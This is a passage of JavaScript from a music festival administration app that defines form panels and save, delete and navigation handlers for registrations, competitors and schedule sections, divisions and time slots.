p.sections.teacher_details.changeTxt = 'Change';\n }\n for(var i = 1; i<= 4; i++) {\n p['competitor' + i + '_id'] = parseInt(rsp.registration['competitor' + i + '_id']);\n if( p['competitor' + i + '_id'] == 0 ) {\n p.sections['competitor' + i + '_details'].addTxt = '';\n p.sections['competitor' + i + '_details'].changeTxt = 'Add';\n } else {\n p.sections['competitor' + i + '_details'].addTxt = 'Edit';\n p.sections['competitor' + i + '_details'].changeTxt = 'Change';\n }\n }\n if( (p.data.festival.flags&0x10) == 0x10 ) {\n p.sections._class.fields.participation.options = {\n '0':'Regular Adjudication',\n '2':'Adjudication Plus',\n };\n }\n else if( (p.data.festival.flags&0x02) == 0x02 ) {\n p.sections._class.fields.participation.options = {\n '0':'in person on a date to be scheduled',\n '1':'virtually and submit a video online',\n };\n if( p.data.festival['inperson-choice-msg'] != null && p.data.festival['inperson-choice-msg'] != '' ) {\n p.sections._class.fields.participation.options[0] = p.data.festival['inperson-choice-msg'];\n }\n if( p.data.festival['virtual-choice-msg'] != null && p.data.festival['virtual-choice-msg'] != '' ) {\n p.sections._class.fields.participation.options[1] = p.data.festival['virtual-choice-msg'];\n }\n }\n if( rsp.tags != null ) {\n p.sections._tags.fields.tags.tags = rsp.tags;\n }\n p.refresh();\n p.show(cb);\n p.updateForm(null,null,'no');\n });\n }\n this.registration.save = function(cb) {\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.registration.close();'; }\n if( !this.checkForm() ) { return false; }\n if( this.formValue('class_id') == 0 ) {\n M.alert(\"You must select a class.\");\n return false;\n }\n// if( this.competitor1_id == 0 ) {\n// M.alert(\"You must have a competitor.\");\n// return false;\n// }\n if( this.registration_id > 0 ) {\n var c = this.serializeFormData('no');\n if( this.teacher_customer_id != this.data.teacher_customer_id ) {\n c.append('teacher_customer_id', this.teacher_customer_id);\n }\n if( this.competitor1_id != this.data.competitor1_id ) { c.append('competitor1_id', this.competitor1_id); }\n if( this.competitor2_id != this.data.competitor2_id ) { c.append('competitor2_id', this.competitor2_id); }\n if( this.competitor3_id != this.data.competitor3_id ) { c.append('competitor3_id', this.competitor3_id); }\n if( this.competitor4_id != this.data.competitor4_id ) { c.append('competitor4_id', this.competitor4_id); }\n// if( this.competitor5_id != this.data.competitor5_id ) { c.append('competitor5_id', this.competitor5_id); }\n if( c != '' ) {\n \n M.api.postJSONFormData('ciniki.musicfestivals.registrationUpdate', {'tnid':M.curTenantID, 'registration_id':this.registration_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n eval(cb);\n });\n } else {\n eval(cb);\n }\n } else {\n var c = this.serializeForm('yes');\n c += '&teacher_customer_id=' + this.teacher_customer_id;\n c += '&competitor1_id=' + this.competitor1_id;\n c += '&competitor2_id=' + this.competitor2_id;\n c += '&competitor3_id=' + this.competitor3_id;\n c += '&competitor4_id=' + this.competitor4_id;\n// c += '&competitor5_id=' + this.competitor5_id;\n M.api.postJSONCb('ciniki.musicfestivals.registrationAdd', {'tnid':M.curTenantID, 'festival_id':this.festival_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.registration.registration_id = rsp.id;\n eval(cb);\n });\n }\n }\n this.registration.remove = function() {\n var msg = 'Are you sure you want to remove this registration?';\n if( this.data.invoice_id > 0 && this.data.invoice_status >= 50 ) {\n msg = '**WARNING** Removing this registration will NOT remove the item from the Invoice. You will need make sure they have received a refund for the registration.';\n }\n M.confirm(msg,null,function() {\n M.api.getJSONCb('ciniki.musicfestivals.registrationDelete', {'tnid':M.curTenantID, 'registration_id':M.ciniki_musicfestivals_main.registration.registration_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.registration.close();\n });\n });\n }\n this.registration.nextButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.registration_id) < (this.nplist.length - 1) ) {\n return 'M.ciniki_musicfestivals_main.registration.save(\\'M.ciniki_musicfestivals_main.registration.open(null,' + this.nplist[this.nplist.indexOf('' + this.registration_id) + 1] + ');\\');';\n }\n return null;\n }\n this.registration.prevButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.registration_id) > 0 ) {\n return 'M.ciniki_musicfestivals_main.registration.save(\\'M.ciniki_musicfestivals_main.registration_id.open(null,' + this.nplist[this.nplist.indexOf('' + this.registration_id) - 1] + ');\\');';\n }\n return null;\n }\n this.registration.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.registration.save();');\n this.registration.addClose('Cancel');\n this.registration.addButton('next', 'Next');\n this.registration.addLeftButton('prev', 'Prev');\n\n\n //\n // The panel to add/edit a competitor\n //\n this.competitor = new M.panel('Competitor', 'ciniki_musicfestivals_main', 'competitor', 'mc', 'medium mediumaside', 'sectioned', 'ciniki.musicfestivals.main.competitor');\n this.competitor.data = null;\n this.competitor.festival_id = 0;\n this.competitor.competitor_id = 0;\n this.competitor.billing_customer_id = 0;\n this.competitor.nplist = [];\n this.competitor.sections = {\n '_ctype':{'label':'', 'type':'paneltabs', 'selected':10, 'aside':'yes', 'tabs':{\n '10':{'label':'Individual', 'fn':'M.ciniki_musicfestivals_main.competitor.switchType(\"10\");'},\n '50':{'label':'Group/Ensemble', 'fn':'M.ciniki_musicfestivals_main.competitor.switchType(\"50\");'},\n }},\n 'general':{'label':'Competitor', 'aside':'yes', 'fields':{\n 'first':{'label':'First Name', 'required':'no', 'type':'text', 'livesearch':'yes', 'visible':'yes'},\n 'last':{'label':'Last Name', 'required':'no', 'type':'text', 'livesearch':'yes', 'visible':'yes'},\n 'name':{'label':'Name', 'required':'yes', 'type':'text', 'livesearch':'yes', 'visible':'hidden'},\n 'public_name':{'label':'Public Name', 'type':'text'},\n 'pronoun':{'label':'Pronoun', 'type':'text'},\n 'conductor':{'label':'Conductor', 'type':'text', 'visible':'no'},\n 'num_people':{'label':'# People', 'type':'number', 'size':'small', 'visible':'no'},\n 'parent':{'label':'Parent', 'type':'text', 'visible':'yes'},\n }},\n '_other':{'label':'', 'aside':'yes', 'fields':{\n 'age':{'label':'Age', 'type':'text'},\n 'study_level':{'label':'Study/Level', 'type':'text'},\n 'instrument':{'label':'Instrument', 'type':'text'},\n 'flags1':{'label':'Waiver', 'type':'flagtoggle', 'bit':0x01, 'field':'flags', 'toggles':{'':'Unsigned', 'signed':'Signed'}},\n }},\n '_tabs':{'label':'', 'type':'paneltabs', 'selected':'contact', 'visible':'yes',\n 'tabs':{\n 'contact':{'label':'Contact Info', 'fn':'M.ciniki_musicfestivals_main.competitor.switchTab(\"contact\");'},\n 'emails':{'label':'Emails', 'fn':'M.ciniki_musicfestivals_main.competitor.switchTab(\"emails\");'},\n 'registrations':{'label':'Registrations', 'fn':'M.ciniki_musicfestivals_main.competitor.switchTab(\"registrations\");'},\n }},\n '_address':{'label':'Contact Info', \n 'visible':function() { return M.ciniki_musicfestivals_main.competitor.sections._tabs.selected == 'contact' ? 'yes' : 'hidden';},\n 'fields':{\n 'address':{'label':'Address', 'type':'text'},\n 'city':{'label':'City', 'type':'text', 'size':'small'},\n 'province':{'label':'Province', 'type':'text', 'size':'small'},\n 'postal':{'label':'Postal Code', 'type':'text', 'size':'small'},\n 'country':{'label':'Country', 'type':'text', 'size':'small'},\n 'phone_home':{'label':'Home Phone', 'type':'text', 'size':'small'},\n 'phone_cell':{'label':'Cell Phone', 'type':'text', 'size':'small'},\n 'email':{'label':'Email', 'type':'text'},\n }},\n '_notes':{'label':'Competitor Notes', 'aside':'no', \n 'visible':function() { return M.ciniki_musicfestivals_main.competitor.sections._tabs.selected == 'contact' ? 'yes' : 'hidden';},\n 'fields':{\n 'notes':{'label':'', 'hidelabel':'yes', 'type':'textarea'},\n }},\n 'messages':{'label':'Draft Emails', 'type':'simplegrid', 'num_cols':2,\n 'visible':function() { return M.ciniki_musicfestivals_main.competitor.sections._tabs.selected == 'emails' ? 'yes' : 'hidden';},\n 'headerValues':['Status', 'Subject'],\n 'noData':'No drafts or scheduled emails',\n 'addTxt':'Send Email',\n 'addFn':'M.ciniki_musicfestivals_main.competitor.save(\"M.ciniki_musicfestivals_main.competitor.addmessage();\");',\n },\n 'emails':{'label':'Send Emails', 'type':'simplegrid', 'num_cols':2,\n 'visible':function() { return M.ciniki_musicfestivals_main.competitor.sections._tabs.selected == 'emails' ? 'yes' : 'hidden';},\n 'headerValues':['Date Sent', 'Subject'],\n 'noData':'No emails sent',\n },\n 'registrations':{'label':'Registrations', 'type':'simplegrid', 'num_cols':5,\n 'visible':function() { return M.ciniki_musicfestivals_main.competitor.sections._tabs.selected == 'registrations' ? 'yes' : 'hidden';},\n 'headerValues':['Category', 'Code', 'Class', 'Status'],\n 'noData':'No registrations',\n },\n '_buttons':{'label':'', 'buttons':{\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.competitor.save();'},\n 'delete':{'label':'Delete', \n 'visible':function() {return M.ciniki_musicfestivals_main.competitor.competitor_id > 0 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.competitor.remove();'},\n }},\n };\n this.competitor.fieldValue = function(s, i, d) { return this.data[i]; }\n this.competitor.switchType = function(t) {\n this.sections._ctype.selected = t;\n if( t == 50 ) {\n this.sections.general.fields.first.visible = 'no';\n this.sections.general.fields.last.visible = 'no';\n this.sections.general.fields.name.visible = 'yes';\n this.sections.general.fields.public_name.visible = 'no';\n this.sections.general.fields.pronoun.visible = 'no';\n this.sections.general.fields.conductor.visible = 'yes';\n this.sections.general.fields.num_people.visible = 'yes';\n this.sections.general.fields.parent.label = 'Contact Person';\n } else {\n this.sections.general.fields.first.visible = 'yes';\n this.sections.general.fields.last.visible = 'yes';\n this.sections.general.fields.name.visible = 'no';\n this.sections.general.fields.public_name.visible = 'yes';\n this.sections.general.fields.pronoun.visible = M.modFlagSet('ciniki.musicfestivals', 0x80);\n this.sections.general.fields.conductor.visible = 'no';\n this.sections.general.fields.num_people.visible = 'no';\n this.sections.general.fields.parent.label = 'Parent';\n }\n this.showHideFormField('general', 'first');\n this.showHideFormField('general', 'last');\n this.showHideFormField('general', 'name');\n this.showHideFormField('general', 'public_name');\n this.showHideFormField('general', 'pronoun');\n this.showHideFormField('general', 'conductor');\n this.showHideFormField('general', 'num_people');\n this.showHideFormField('general', 'parent');\n this.refreshSections(['_ctype']);\n }\n this.competitor.switchTab = function(t) {\n this.sections._tabs.selected = t;\n this.refreshSections(['_tabs', '_address','_notes','messages', 'emails', 'registrations']);\n }\n this.competitor.fieldHistoryArgs = function(s, i) {\n return {'method':'ciniki.musicfestivals.competitorHistory', 'args':{'tnid':M.curTenantID, 'competitor_id':this.competitor_id, 'field':i}};\n }\n this.competitor.liveSearchCb = function(s, i, value) {\n if( i == 'name' || i == 'first' || i == 'last' ) {\n M.api.getJSONBgCb('ciniki.musicfestivals.competitorSearch', \n {'tnid':M.curTenantID, 'start_needle':value, 'limit':25}, function(rsp) { \n M.ciniki_musicfestivals_main.competitor.liveSearchShow(s, i, M.gE(M.ciniki_musicfestivals_main.competitor.panelUID + '_' + i), rsp.competitors); \n });\n }\n }\n this.competitor.liveSearchResultValue = function(s, f, i, j, d) {\n return d.name;\n }\n this.competitor.liveSearchResultRowFn = function(s, f, i, j, d) { \n return 'M.ciniki_musicfestivals_main.competitor.open(null,\\'' + d.id + '\\');';\n }\n this.competitor.cellValue = function(s, i, j, d) {\n if( s == 'messages' ) {\n switch(j) {\n case 0: return d.status_text;\n case 1: return d.subject;\n }\n }\n if( s == 'emails' ) {\n switch(j) {\n case 0: return (d.status != 30 ? d.status_text : d.date_sent);\n case 1: return d.subject;\n }\n }\n if( s == 'registrations' ) {\n switch(j) {\n case 0: return d.section_name + ' - ' + d.category_name;\n case 1: return d.class_code;\n case 2: return d.class_name;\n case 3: return d.status_text;\n }\n }\n }\n this.competitor.rowFn = function(s, i, d) {\n if( s == 'messages' ) {\n return 'M.ciniki_musicfestivals_main.competitor.save(\"M.ciniki_musicfestivals_main.message.open(\\'M.ciniki_musicfestivals_main.competitor.open();\\',\\'' + d.id + '\\');\");';\n }\n if( s == 'emails' ) {\n return 'M.startApp(\\'ciniki.mail.main\\',null,\\'M.ciniki_musicfestivals_main.competitor.reopen();\\',\\'mc\\',{\\'message_id\\':\\'' + d.id + '\\'});';\n }\n return '';\n }\n this.competitor.addmessage = function() {\n M.ciniki_musicfestivals_main.message.addnew('M.ciniki_musicfestivals_main.competitor.open();',this.festival_id,'ciniki.musicfestivals.competitor',this.competitor_id);\n }\n this.competitor.reopen = function() {\n this.show();\n }\n this.competitor.open = function(cb, cid, fid, list, bci) {\n if( cid != null ) { this.competitor_id = cid; }\n if( fid != null ) { this.festival_id = fid; }\n if( list != null ) { this.nplist = list; }\n if( bci != null ) { this.billing_customer_id = bci; }\n M.api.getJSONCb('ciniki.musicfestivals.competitorGet', {'tnid':M.curTenantID, 'festival_id':this.festival_id, 'competitor_id':this.competitor_id, 'emails':'yes', 'registrations':'yes'}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.competitor;\n p.data = rsp.competitor;\n if( p.competitor_id == 0 ) {\n p.sections._tabs.selected = 'contact';\n p.sections._tabs.visible = 'no';\n } else {\n p.sections._tabs.visible = 'yes';\n }\n p.sections._ctype.selected = rsp.competitor.ctype;\n p.refresh();\n p.show(cb);\n p.switchType(p.sections._ctype.selected);\n });\n }\n this.competitor.save = function(cb) {\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.competitor.close();'; }\n if( !this.checkForm() ) { return false; }\n if( this.competitor_id > 0 ) {\n var c = this.serializeForm('no');\n if( this.sections._ctype.selected != this.data.ctype ) {\n c += '&ctype=' + this.sections._ctype.selected;\n }\n if( c != '' ) {\n M.api.postJSONCb('ciniki.musicfestivals.competitorUpdate', {'tnid':M.curTenantID, 'festival_id':this.festival_id, 'competitor_id':this.competitor_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n eval(cb);\n });\n } else {\n eval(cb);\n }\n } else {\n var c = this.serializeForm('yes');\n c += '&ctype=' + this.sections._ctype.selected;\n M.api.postJSONCb('ciniki.musicfestivals.competitorAdd', {'tnid':M.curTenantID, 'festival_id':this.festival_id, 'billing_customer_id':this.billing_customer_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.competitor.competitor_name = rsp.name;\n M.ciniki_musicfestivals_main.competitor.competitor_id = rsp.id;\n eval(cb);\n });\n }\n }\n this.competitor.remove = function() {\n M.confirm('Are you sure you want to remove competitor?',null,function() {\n M.api.getJSONCb('ciniki.musicfestivals.competitorDelete', {'tnid':M.curTenantID, 'competitor_id':M.ciniki_musicfestivals_main.competitor.competitor_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.competitor.close();\n });\n });\n }\n this.competitor.nextButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.competitor_id) < (this.nplist.length - 1) ) {\n return 'M.ciniki_musicfestivals_main.competitor.save(\\'M.ciniki_musicfestivals_main.competitor.open(null,' + this.nplist[this.nplist.indexOf('' + this.competitor_id) + 1] + ');\\');';\n }\n return null;\n }\n this.competitor.prevButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.competitor_id) > 0 ) {\n return 'M.ciniki_musicfestivals_main.competitor.save(\\'M.ciniki_musicfestivals_main.competitor_id.open(null,' + this.nplist[this.nplist.indexOf('' + this.competitor_id) - 1] + ');\\');';\n }\n return null;\n }\n this.competitor.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.competitor.save();');\n this.competitor.addClose('Cancel');\n this.competitor.addButton('next', 'Next');\n this.competitor.addLeftButton('prev', 'Prev');\n\n //\n // The panel to edit Schedule Section\n //\n this.schedulesection = new M.panel('Schedule Section', 'ciniki_musicfestivals_main', 'schedulesection', 'mc', 'medium', 'sectioned', 'ciniki.musicfestivals.main.schedulesection');\n this.schedulesection.data = null;\n this.schedulesection.festival_id = 0;\n this.schedulesection.schedulesection_id = 0;\n this.schedulesection.nplist = [];\n this.schedulesection.sections = {\n 'general':{'label':'', 'fields':{\n 'name':{'label':'Name', 'required':'yes', 'type':'text'},\n 'flags':{'label':'Options', 'type':'flags', 'flags':{\n '1':{'name':'Release Schedule'},\n '2':{'name':'Release Comments'},\n '3':{'name':'Release Certificates'},\n }},\n }},\n 'adjudicators':{'label':'Adjudicators', 'fields':{\n 'adjudicator1_id':{'label':'First', 'type':'select', 'complex_options':{'name':'name', 'value':'id'}, 'options':{}},\n 'adjudicator2_id':{'label':'Second', 'type':'select', 'complex_options':{'name':'name', 'value':'id'}, 'options':{}},\n 'adjudicator3_id':{'label':'Third', 'type':'select', 'complex_options':{'name':'name', 'value':'id'}, 'options':{}},\n }},\n '_buttons':{'label':'', 'buttons':{\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.schedulesection.save();'},\n 'delete':{'label':'Delete', \n 'visible':function() {return M.ciniki_musicfestivals_main.schedulesection.schedulesection_id > 0 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.schedulesection.remove();'},\n }},\n };\n this.schedulesection.fieldValue = function(s, i, d) { return this.data[i]; }\n this.schedulesection.fieldHistoryArgs = function(s, i) {\n return {'method':'ciniki.musicfestivals.scheduleSectionHistory', 'args':{'tnid':M.curTenantID, 'schedulesection_id':this.schedulesection_id, 'field':i}};\n }\n this.schedulesection.downloadPDF = function(f,i,n) {\n M.api.openFile('ciniki.musicfestivals.schedulePDF',{'tnid':M.curTenantID, 'festival_id':f, 'schedulesection_id':i, 'names':n});\n }\n this.schedulesection.open = function(cb, sid, fid, list) {\n if( sid != null ) { this.schedulesection_id = sid; }\n if( fid != null ) { this.festival_id = fid; }\n if( list != null ) { this.nplist = list; }\n M.api.getJSONCb('ciniki.musicfestivals.scheduleSectionGet', \n {'tnid':M.curTenantID, 'schedulesection_id':this.schedulesection_id, 'festival_id':this.festival_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.schedulesection;\n p.data = rsp.schedulesection;\n rsp.adjudicators.unshift({'id':'0', 'name':'None'});\n p.sections.adjudicators.fields.adjudicator1_id.options = rsp.adjudicators;\n p.sections.adjudicators.fields.adjudicator2_id.options = rsp.adjudicators;\n p.sections.adjudicators.fields.adjudicator3_id.options = rsp.adjudicators;\n p.refresh();\n p.show(cb);\n });\n }\n this.schedulesection.save = function(cb) {\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.schedulesection.close();'; }\n if( !this.checkForm() ) { return false; }\n if( this.schedulesection_id > 0 ) {\n var c = this.serializeForm('no');\n if( c != '' ) {\n M.api.postJSONCb('ciniki.musicfestivals.scheduleSectionUpdate', \n {'tnid':M.curTenantID, 'schedulesection_id':this.schedulesection_id, 'festival_id':this.festival_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n eval(cb);\n });\n } else {\n eval(cb);\n }\n } else {\n var c = this.serializeForm('yes');\n M.api.postJSONCb('ciniki.musicfestivals.scheduleSectionAdd', {'tnid':M.curTenantID, 'festival_id':this.festival_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.schedulesection.schedulesection_id = rsp.id;\n eval(cb);\n });\n }\n }\n this.schedulesection.remove = function() {\n M.confirm('Are you sure you want to remove this section?',null,function() {\n M.api.getJSONCb('ciniki.musicfestivals.scheduleSectionDelete', {'tnid':M.curTenantID, 'schedulesection_id':M.ciniki_musicfestivals_main.schedulesection.schedulesection_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.schedulesection.close();\n });\n });\n }\n this.schedulesection.nextButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.schedulesection_id) < (this.nplist.length - 1) ) {\n return 'M.ciniki_musicfestivals_main.schedulesection.save(\\'M.ciniki_musicfestivals_main.schedulesection.open(null,' + this.nplist[this.nplist.indexOf('' + this.schedulesection_id) + 1] + ');\\');';\n }\n return null;\n }\n this.schedulesection.prevButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.schedulesection_id) > 0 ) {\n return 'M.ciniki_musicfestivals_main.schedulesection.save(\\'M.ciniki_musicfestivals_main.schedulesection_id.open(null,' + this.nplist[this.nplist.indexOf('' + this.schedulesection_id) - 1] + ');\\');';\n }\n return null;\n }\n this.schedulesection.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.schedulesection.save();');\n this.schedulesection.addClose('Cancel');\n this.schedulesection.addButton('next', 'Next');\n this.schedulesection.addLeftButton('prev', 'Prev');\n\n //\n // The panel to edit Schedule Division\n //\n this.scheduledivision = new M.panel('Schedule Division', 'ciniki_musicfestivals_main', 'scheduledivision', 'mc', 'medium', 'sectioned', 'ciniki.musicfestivals.main.scheduledivision');\n this.scheduledivision.data = null;\n this.scheduledivision.festival_id = 0;\n this.scheduledivision.ssection_id = 0;\n this.scheduledivision.scheduledivision_id = 0;\n this.scheduledivision.nplist = [];\n this.scheduledivision.sections = {\n 'general':{'label':'', 'fields':{\n 'ssection_id':{'label':'Section', 'required':'yes', 'type':'select', 'complex_options':{'value':'id', 'name':'name'}, 'options':{}},\n 'name':{'label':'Name', 'required':'yes', 'type':'text'},\n 'division_date':{'label':'Date', 'required':'yes', 'type':'date'},\n 'address':{'label':'Address', 'type':'text'},\n }},\n '_buttons':{'label':'', 'buttons':{\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.scheduledivision.save();'},\n 'delete':{'label':'Delete', \n 'visible':function() {return M.ciniki_musicfestivals_main.scheduledivision.scheduledivision_id > 0 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.scheduledivision.remove();'},\n }},\n };\n this.scheduledivision.fieldValue = function(s, i, d) { return this.data[i]; }\n this.scheduledivision.fieldHistoryArgs = function(s, i) {\n return {'method':'ciniki.musicfestivals.scheduleDivisionHistory', 'args':{'tnid':M.curTenantID, 'scheduledivision_id':this.scheduledivision_id, 'field':i}};\n }\n this.scheduledivision.open = function(cb, sid, ssid, fid, list) {\n if( sid != null ) { this.scheduledivision_id = sid; }\n if( ssid != null ) { this.ssection_id = ssid; }\n if( fid != null ) { this.festival_id = fid; }\n if( list != null ) { this.nplist = list; }\n M.api.getJSONCb('ciniki.musicfestivals.scheduleDivisionGet', \n {'tnid':M.curTenantID, 'scheduledivision_id':this.scheduledivision_id, 'festival_id':this.festival_id, 'ssection_id':this.ssection_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.scheduledivision;\n p.data = rsp.scheduledivision;\n p.sections.general.fields.ssection_id.options = rsp.schedulesections;\n p.refresh();\n p.show(cb);\n });\n }\n this.scheduledivision.save = function(cb) {\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.scheduledivision.close();'; }\n if( !this.checkForm() ) { return false; }\n if( this.scheduledivision_id > 0 ) {\n var c = this.serializeForm('no');\n if( c != '' ) {\n M.api.postJSONCb('ciniki.musicfestivals.scheduleDivisionUpdate', \n {'tnid':M.curTenantID, 'scheduledivision_id':this.scheduledivision_id, 'festival_id':this.festival_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n eval(cb);\n });\n } else {\n eval(cb);\n }\n } else {\n var c = this.serializeForm('yes');\n M.api.postJSONCb('ciniki.musicfestivals.scheduleDivisionAdd', {'tnid':M.curTenantID, 'festival_id':this.festival_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.scheduledivision.scheduledivision_id = rsp.id;\n eval(cb);\n });\n }\n }\n this.scheduledivision.remove = function() {\n M.confirm('Are you sure you want to remove this division?',null,function() {\n M.api.getJSONCb('ciniki.musicfestivals.scheduleDivisionDelete', {'tnid':M.curTenantID, 'scheduledivision_id':M.ciniki_musicfestivals_main.scheduledivision.scheduledivision_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.scheduledivision.close();\n });\n });\n }\n this.scheduledivision.nextButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.scheduledivision_id) < (this.nplist.length - 1) ) {\n return 'M.ciniki_musicfestivals_main.scheduledivision.save(\\'M.ciniki_musicfestivals_main.scheduledivision.open(null,' + this.nplist[this.nplist.indexOf('' + this.scheduledivision_id) + 1] + ');\\');';\n }\n return null;\n }\n this.scheduledivision.prevButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.scheduledivision_id) > 0 ) {\n return 'M.ciniki_musicfestivals_main.scheduledivision.save(\\'M.ciniki_musicfestivals_main.scheduledivision_id.open(null,' + this.nplist[this.nplist.indexOf('' + this.scheduledivision_id) - 1] + ');\\');';\n }\n return null;\n }\n this.scheduledivision.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.scheduledivision.save();');\n this.scheduledivision.addClose('Cancel');\n this.scheduledivision.addButton('next', 'Next');\n this.scheduledivision.addLeftButton('prev', 'Prev');\n\n //\n // The panel to edit Schedule Time Slot\n //\n this.scheduletimeslot = new M.panel('Schedule Time Slot', 'ciniki_musicfestivals_main', 'scheduletimeslot', 'mc', 'xlarge', 'sectioned', 'ciniki.musicfestivals.main.scheduletimeslot');\n this.scheduletimeslot.data = null;\n this.scheduletimeslot.festival_id = 0;\n this.scheduletimeslot.scheduletimeslot_id = 0;\n this.scheduletimeslot.sdivision_id = 0;\n this.scheduletimeslot.nplist = [];\n this.scheduletimeslot.sections = {\n 'general':{'label':'', 'fields':{\n 'sdivision_id':{'label':'Division', 'required':'yes', 'type':'select', 'complex_options':{'value':'id', 'name':'name'}, 'options':{}},\n 'slot_time':{'label':'Time', 'required':'yes', 'type':'text', 'size':'small'},\n 'class1_id':{'label':'Class 1', 'required':'yes', 'type':'select', 'complex_options':{'value':'id', 'name':'name'}, 'options':{}, \n 'onchangeFn':'M.ciniki_musicfestivals_main.scheduletimeslot.updateRegistrations'},\n 'class2_id':{'label':'Class 2', 'required':'yes', 'type':'select', 'complex_options':{'value':'id', 'name':'name'}, 'options':{}, \n 'onchangeFn':'M.ciniki_musicfestivals_main.scheduletimeslot.updateRegistrations'},\n 'class3_id':{'label':'Class 3', 'required':'yes', 'type':'select', 'complex_options':{'value':'id', 'name':'name'}, 'options':{}, \n 'onchangeFn':'M.ciniki_musicfestivals_main.scheduletimeslot.updateRegistrations'},\n 'class4_id':{'label':'Class 4', 'required':'yes', 'type':'select', 'complex_options':{'value':'id', 'name':'name'}, 'options':{}, \n 'onchangeFn':'M.ciniki_musicfestivals_main.scheduletimeslot.updateRegistrations'},\n 'class5_id':{'label':'Class 5', 'required':'yes', 'type':'select', 'complex_options':{'value':'id', 'name':'name'}, 'options':{}, \n 'onchangeFn':'M.ciniki_musicfestivals_main.scheduletimeslot.updateRegistrations'},\n 'name':{'label':'Name', 'type':'text'},\n }},\n '_options':{'label':'',\n 'visible':function() {\n var p = M.ciniki_musicfestivals_main.scheduletimeslot;\n var c1 = p.formValue('class1_id');\n var c2 = p.formValue('class2_id');\n var c3 = p.formValue('class3_id');\n var c4 = p.formValue('class4_id');\n var c5 = p.formValue('class5_id');\n// if( c1 == null && p.data.class1_id > 0 && p.data.class2_id == 0 && p.data.class3_id == 0 && p.data.class4_id == 0 && p.data.class5_id == 0 ) { return 'yes'; }\n if( c1 == null && p.data.class1_id > 0 ) { \n return 'yes'; \n }\n// return (c1 != null && c1 > 0 && (c2 == null || c2 == 0) && (c3 == null || c3 == 0) ? 'yes' : 'hidden');\n return (c1 != null && c1 > 0 ? 'yes' : 'hidden');\n },\n 'fields':{\n 'flags1':{'label':'Split Class', 'type':'flagtoggle', 'default':'off', 'bit':0x01, 'field':'flags', \n 'fn':'M.ciniki_musicfestivals_main.scheduletimeslot.updateRegistrations'},\n }},\n '_registrations1':{'label':'Class 1 Registrations', \n 'visible':'hidden',\n 'fields':{\n 'registrations1':{'label':'', 'hidelabel':'yes', 'type':'idlist', 'list':[], \n 'fn':'M.ciniki_musicfestivals_main.scheduletimeslot.updateSorting',\n },\n }},\n '_registrations2':{'label':'Class 2 Registrations', \n 'visible':'hidden',\n 'fields':{\n 'registrations2':{'label':'', 'hidelabel':'yes', 'type':'idlist', 'list':[],\n 'fn':'M.ciniki_musicfestivals_main.scheduletimeslot.updateSorting',\n },\n }},\n '_registrations3':{'label':'Class 3 Registrations', \n 'visible':'hidden',\n 'fields':{\n 'registrations3':{'label':'', 'hidelabel':'yes', 'type':'idlist', 'list':[],\n 'fn':'M.ciniki_musicfestivals_main.scheduletimeslot.updateSorting',\n },\n }},\n '_registrations4':{'label':'Class 4 Registrations', \n 'visible':'hidden',\n 'fields':{\n 'registrations4':{'label':'', 'hidelabel':'yes', 'type':'idlist', 'list':[],\n 'fn':'M.ciniki_musicfestivals_main.scheduletimeslot.updateSorting',\n },\n }},\n '_registrations5':{'label':'Class 5 Registrations', \n 'visible':'hidden',\n 'fields':{\n 'registrations5':{'label':'', 'hidelabel':'yes', 'type':'idlist', 'list':[],\n 'fn':'M.ciniki_musicfestivals_main.scheduletimeslot.updateSorting',\n },\n }},\n '_sorting1':{'label':'Class 1 